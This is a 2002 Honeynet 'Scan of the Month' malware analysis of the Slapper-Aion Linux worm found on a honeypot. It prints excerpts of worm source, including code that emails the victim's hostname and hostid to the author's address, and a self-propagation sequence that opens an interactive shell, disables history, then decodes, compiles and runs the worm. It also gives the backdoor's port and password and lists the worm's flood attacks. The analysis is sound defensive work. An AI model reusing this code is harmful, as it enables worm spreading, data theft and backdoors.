# Scan of the month #25

Guy Van Sanden <guy.van.sanden@pandora.be>

---

## Table of Contents

# 1 Summary

A file beloning to a worm was recovered from a honeypot system.
This file is a tar-gzipped archive containing the sourcecode of the Slapper-Aion Worm. The existence of this file suggests that the system is already infected with the worm. If this is the case, a fake httpd process will be running, and a process called update. Their binaries have been removed to hide the presence of the worm.

Slapper-Aion is a variant of the Slapper worm. It specifically targets Linux servers running Apache and exploits the OpenSSL vulnerability described in CERT Advisiory 2002-23.

It replicates by scanning for systems running a vulnerable version of Apache on port 80, and then attacking through port 443 (https) on them. (This only works if they are running mod_ssl)

This worm allows remote control over compromised systems to launch attacks against networks and hosts. Different "drones" communicate with eachother through port 4156. They can be remotely instructed to launch DDOS[1] attacks agains specified targets.
It also opens a backdoor (with 5 minute intervals) on port 1052 that spawns a root shell to anyone who enters the correct password (aion1981). This backdoor is implemented in the .update.c program, and was not part of the original Slapper worm.

## 1.1 Recovering

Although it is possible to do a manual cleanup of the worm by killing the processes and removing both the files and crontab entries, it is strongly advised to reinstall the system from scratch, and apply the appropriate security patches before reconnecting to the network.

# 2 Tools used for the analysis

The analysis was done on GNU/Linux (Mandrake 9.0 i586) running KDE 3.04.
The writeup was done in OpenOffice 1.0.1.

## 2.1 List of tools:

- file 3.89
- GNU tar 1.13.25
- gunzip 1.2.4
- kwrite 4.0 (with C syntax highlighting)
- kompare 2.0
- Google

# 3 Preperation

- Download the file into a seperate directory
  wget http://www.honeynet.org/scans/scan25/.unlock
- Verify the signature
  MD5 matches:

---

[1] Distributed Denial Of Service

```
a03b5be9264651ab30f2223592befb42  .unlock
a03b5be9264651ab30f2223592befb42
```

# 4 Analysis

Analysis started: Thu Nov 14 20:55 CET 2002 on host Cronos.

```
file .unlock
.unlock: gzip compressed data, from Unix
```

--> This appears to be a gzip archive, lets test it.

```
gzip -l .unlock
compressed  uncompr. ratio uncompressed_name
    17973     81920  78.0% .unlock
```

To answer question one, let's first “stat” the file before moving on.

```
stat .unlock
  File: `.unlock'
  Size: 17973          Blocks: 36        IO Block: 8192   Regular File
Device: ch/12d  Inode: 671786      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1002/     gvs)   Gid: ( 1002/    home)
Access: 2002-11-14 21:03:42.000000000 +0100
Modify: 2002-09-22 19:06:18.000000000 +0200
Change: 2002-11-14 21:03:32.000000000 +0100
```

The Access en change time have been set to the time of downloading, as expected. But the modification time has been preserved. This file was created 22 September 2002 at 19:06:18 (UTC +0200).

Let's open it up:

```
mv .unlock .unlock.gz ;gunzip .unlock
```

ls -a --> Another .unlock appears

```
./  ../  .unlock
file .unlock
.unlock: GNU tar archive
```

--> the exact filetype reveals itself, it's a gzipped tar file.

Let's stat it again:

```
stat .unlock
  File: `.unlock'
  Size: 81920          Blocks: 160       IO Block: 8192   Regular File
Device: ch/12d  Inode: 670627      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1002/     gvs)   Gid: ( 1002/    home)
Access: 2002-11-14 21:03:42.000000000 +0100
Modify: 2002-09-22 19:06:18.000000000 +0200
Change: 2002-11-14 21:39:08.000000000 +0100
```

Hey, the modification time is identical to that of the parent gzip file! It was undoubtebly created in one pass, = one command.

Let's check the contents:

```
tar -tvf .unlock
-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c
-rw-r--r-- root/wheel     2792 2002-09-19 23:57:48 .update.c
```

--> Again observing the times, if these are correct, the tar archive was created two days after the newest file.  Very possible.

Let's  untar:

```
tar -xvf .unlock
.unlock.c
.update.c
```

--> Once again, two hidden files appear, their extension hints that they're C files.
Let's “file” them:

```
file .unlock.c
.unlock.c: ASCII English text, with CRLF, CR, LF line terminators
file .update.c
.unlock.c: ASCII English text, with CRLF, CR, LF line terminators
```

We'll focus on .unlock.c first.

Analysis continues: Tue Nov 19 14:21:12 CET 2002

## 4.1 .unlock.c

```
kwrite .unlock.c
```

OK, this is C Code.
The header claims that this code was written by someone calling hem/herself contem@efnet.
Modifications are claimed by aion (aion@ukr.net), which is the mailaddress the worms seems to use

```
#define MAILTO          "aion@ukr.net"
```

Doing a quick search in google gets me to http://www.aisec.net/, there this code is identified as the Linux slapper worm, author; contem@efnet.
The file is named differently!  It is bugraq.c.
Download and examine --> this was created by contem@efnet, but without the modifcations by Aion.  So the ultimat author seems Aion, and this is a modified slapper worm.
Version name C.

Reading on...

```
#define PORT                    4156
#define SCANPORT        80
```

These seem to identify the listen port for the worm, 4156 (which is a high port, and is therefore not blocked by many ISP firewalls (which oftern block the <1024 range).

Port 80 seems to be the target port scanned by the worm. It is the most common port for a http server (mostly Apache).

Reading on...

```
#define MAILSRV         "freemail.ukr.net"
#define MAILTO          "aion@ukr.net"
#define PSNAME                  "httpd "
#define WORMSRC                 "/tmp/.unlock"
```

Easy; the worms contacts aion on the server freemail.ukr.net.
It runs as httpd, to hide its meaning. Httpd is also the process name of apache.
WORMSRC setc the source file for the worm, being in the /tmp directory.

Analysis continues: Fri Nov 29 10:13:38 CET 2002

Found [2] article on Worm authors arrest.
Found [3] CERT Advisory on OpenSSL vulnerabilities.

When infected a mail is sent, lets examine what is transmitted

```
int mailme(char *sip)
{
  char cmdbuf[256], buffer[128];
  int pip; long inet;
  struct sockaddr_in sck;
  struct hostent *hp;

  if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
  if((inet=inet_addr(MAILSRV))==-1)
  {
    if(hp=gethostbyname(MAILSRV))
        memcpy (&inet, hp->h_addr, 4);
      else return -1;
  }
  sck.sin_family = PF_INET;
  sck.sin_port = htons (25);
  sck.sin_addr.s_addr = inet;
  if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;

  gethostname(buffer,128); Gives the worm the current hostname.
```

*>>the regular mail headers start, note that the from address is forged to a microsoft.com address.*

```
  sprintf(cmdbuf,"helo test\r\n");                 writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");          writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
>> the good part.
 sprintf(cmdbuf,"data\r\n");                    writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf," hostid:   %d \r\n"
              " hostname: %s \r\n"
                                  " att_from: %s \r\n",gethostid(),buffer,sip);
hostid.
                                   writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"\r\n.\r\nquit\r\n");            writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  return close(pip);
```

a call is made: gethostid. This C function is described as:
*establishes a 32-bit identifier for the current host that is intended to be unique among all UNIX systems in existence. This is normally a DARPA Internet address for the local machine. This call is allowed only to the superuser and is normally performed at boot time.*
*Gethostid returns the 32-bit identifier for the current host.*

Question that remains, what is att_from?

Focussing on replication:

```
  writem(sockfd,"export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null;"
                       "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;"
                       "exec bash -i\n");
  writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
         "      /tmp/httpd /tmp/update /tmp/.unlock; \n");
  writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
  zhdr(1);
  encode(sockfd);
  zhdr(0);
  writem(sockfd,"__eof__\n");
  writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
         "tar xzf /tmp/.unlock -C /tmp/;            "
                       "gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
                       "gcc -o /tmp/update /tmp/.update.c;\n");
  sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
  writem(sockfd,rcv);
 sleep(3);
  writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
         "      /tmp/httpd /tmp/update; exit; \n");
  for (;;) {
    FD_ZERO(&rset);
    FD_SET(sockfd, &rset);
    select(sockfd+1, &rset, NULL, NULL, NULL);
    if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
  }
```

The worm seems te spread by uuencoding itself, transmitting, decoding, untarring and compiling.

1. Created .unlock.uu
2. Decode, creates .unlock
3. Extracting .unlock creates .unlock.c , .update.c
4. Compiling creates httpd and update
5. httpd and update are run
6. removing .unlock.uu .unlock.c, .update.c, httpd and update.

--> .unlock remains.

### 4.2 update.c

This program was added by aion. Note: code 'looks' different. Indent and style differ very much from the .unlock.c code. Contems code seems much more structured.

This program does the backdoor access.
On connection to port 1052, it spawns a shell if the correct password has been entered.

```
#define PORT              1052
#define PASS              "aion1981"
#define SLEEPTIME 300         // sleep  5 min.
#define UPTIME    10        // listen 10 sec.
#define PSNAME    "update    "  // what copy to argv[0]
```

## 5 Questions

### 5.1 Which is the type of the .unlock file? When was it generated?

This file is a GNU tar archive, compressed with gzip.
Most likely, the command used to create it was “tar -czf [tar file] [contents]”
It was generated 22 Sep 2002 19:06 +0200.

The filetype is revealed by running file against it. The first iteration shows a gzip file, when it's unzipped, it appears to contain a tar archive. Therefore exact type is a gzip compressed tar archive. The tar file contains two other files, which show modification dates of 19 and 20 september 2002. The .unlock file was created in one pass, this can be concluded by comparing the modification times of both the tar and gzip file. They're the same to the second (2002-09-22 19:06:18), therefore, they must have been created with a single command.

Running stat against the downloaded file reveals its modification time. This is the time that the file was generated (or finished at least). The other timestamps have been set to the download time, so they're useless.

```
Access: 2002-11-14 21:03:42.000000000 +0100
Modify: 2002-09-22 19:06:18.000000000 +0200
Change: 2002-11-14 21:03:32.000000000 +0100
```

## 5.2 Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?

The question about the author of the worm has two answers. The original slapper-worm was created by contem.
This, however is Slapper-Aion [5], a modified version of the slapper worm created by Aion.

Note that some sites identify this version as Slapper-B (e.g. ISC), while some call this version C (e.g. Symantec). I do not know the cause for this. A correct tag would be Slapper-Aion.

There seems to be little information about the real identity of these two. The only lead is that Aions mailing address was created with a Ukranian free E-mail provider. This can hint to his country of origin.
An article on vnunet [2] indicates that authorities have been able to trace this address to a 21-year old male. No further details were released yet.

It can be reasonably believed that this worm was created on 20 september 2002.
This can be established by both the date in the tar-file, and the version number in .unlock.c, which seems to be based on the date.

```
-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c
#define VERSION                          20092002
```

If we assume that the files for the worm where indeed created on 19 and 20 september 2002, that it is reasonable to believe that the packaging was done 2 days later, on 22 september 2002.

## 5.3 Which process name is used by the worm when it is running?

The worm runs as the httpd process. This is also the process name used by its victim, the Apache Webserver.
Mimicing the name of the webserver process is a good way to hide the worms presence. Typically, there will be a number of httpd processes running, as Apache forks its processes.

## 5.4 In wich format the worm copies itself to the new infected machine? Which files are created in the whole process? After the worm executes itself, wich files remain on the infected machine?

The worms spreads by uuencoding itself and transmitting that to another machine.
On the target, the uuencoded file is decoded, the result is unpacked and compiled. The resulting binaries are launched, and the uuencoded file, the source and the binaries are removed. (the binaries remain in memory, they still have a file descriptor in the /proc directory. As long as that exists, they are not physically deleted).

The process is as follows.

7. Created .unlock.uu
8. Decode, creates .unlock
9. Extracting .unlock creates .unlock.c , .update.c
10. Compiling creates httpd and update
11. httpd and update are run
12. removing .unlock.uu .unlock.c, .update.c, httpd and update. (marked red above)

The conclusion is that only .unlock remains.
This conclusion is confirmed by the presence of this file on the honeypot system.

## 5.5 Which port is scanned by the worm?

Port 80 is the target of the scans. This is the most common port for a http server.
*#define SCANPORT 80*

If the port exists, the worm tries to determine if the server maps to a vulnerable version. If so, the port actually attacked is 443 (https).

## 5.6 Which vulnerability the worm tries to exploit? In which architectures?

This particular variant of the Slapper worm attacks the OpenSSL vulnerability described in CERT advisiory 2002-23 [3].
The target of Slapper-Aion are Apache webservers running mod_ssl on Linux platforms.
It has to be noted that all Unix-variants on all platforms running the faulty OpenSSL code are vulnerable to this attack, although not specifically targetted by this worm.

## 5.7 What kind of information is sent by the worm by email? To which account?

The worm sends the current hostname (obtained with the c-function gethostname), and the hostid (obtained with the gethostid fucntion [4]) to aion@ukr.net.
*#define MAILTO "aion@ukr.net"*
It also sends something it calls “att_from”, I was unable to determine its meaning.

## 5.8 Which port (and protocol) is used by the worm to communicate to other infected machines?

This particular variant uses port 4156 to communicate. The protocol used is UDP (which also explains the name “Peer-to-peer UDP Distributed Denial of Service (PUD)”).

*#define PORT 4156*

Using a “highport” (ports above 1024) limits the chance of the port being blocked at the network border (e.g. your ISP).

## 5.9 Name 3 functionalities built in the worm to attack other networks.

'UDP Flood
*line 2209: case 0x29: { // Udp flood*
'TCP Flood
*line 2249: case 0x2A: { // Tcp flood*
DNS Flood
*line 2311: case 0x2C: { // Dns flood*

The worm accepts attack commands, the tags to use these can be found in the source code.

It also has a nice catch, it can scan an entire filesystem for E-mail addresses and return the result to the requesting machine.

### 5.10 What is the purpose of the .update.c program? Which port does it use?

This program sets up backdoor root access to an infected system. The backdoor is only available for 10 seconds, and then disappears for 5 minutes.
It listens for connections on port 1052 and spawns a root shell to anyone who connects during the 10 second window and provides tha correct password (aion1981).

```
#define PORT              1052
#define PASS              "aion1981"
#define SLEEPTIME 300        // sleep  5 min.
#define UPTIME    10        // listen 10 sec.
#define PSNAME    "update   "  // what copy to argv[0]
```

The interesting bit about this code is that it was added by Aion. The original slapper did not contain this file.

## 6 Reference

[1] http://www.aisec.net/
[2] http://www.vnunet.com/News/1135274
[3] http://www.cert.org/advisories/CA-2002-23.html
[4] http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?gethostid+2
[5] http://www.symantec.com/avcenter/venc/data/linux.slapper.worm.html

## 7 Files

bugtraq.c.txt Original slapper worm code.(SHA1 010c8d99ef09dceed66a2bab15edbb503bfb9880)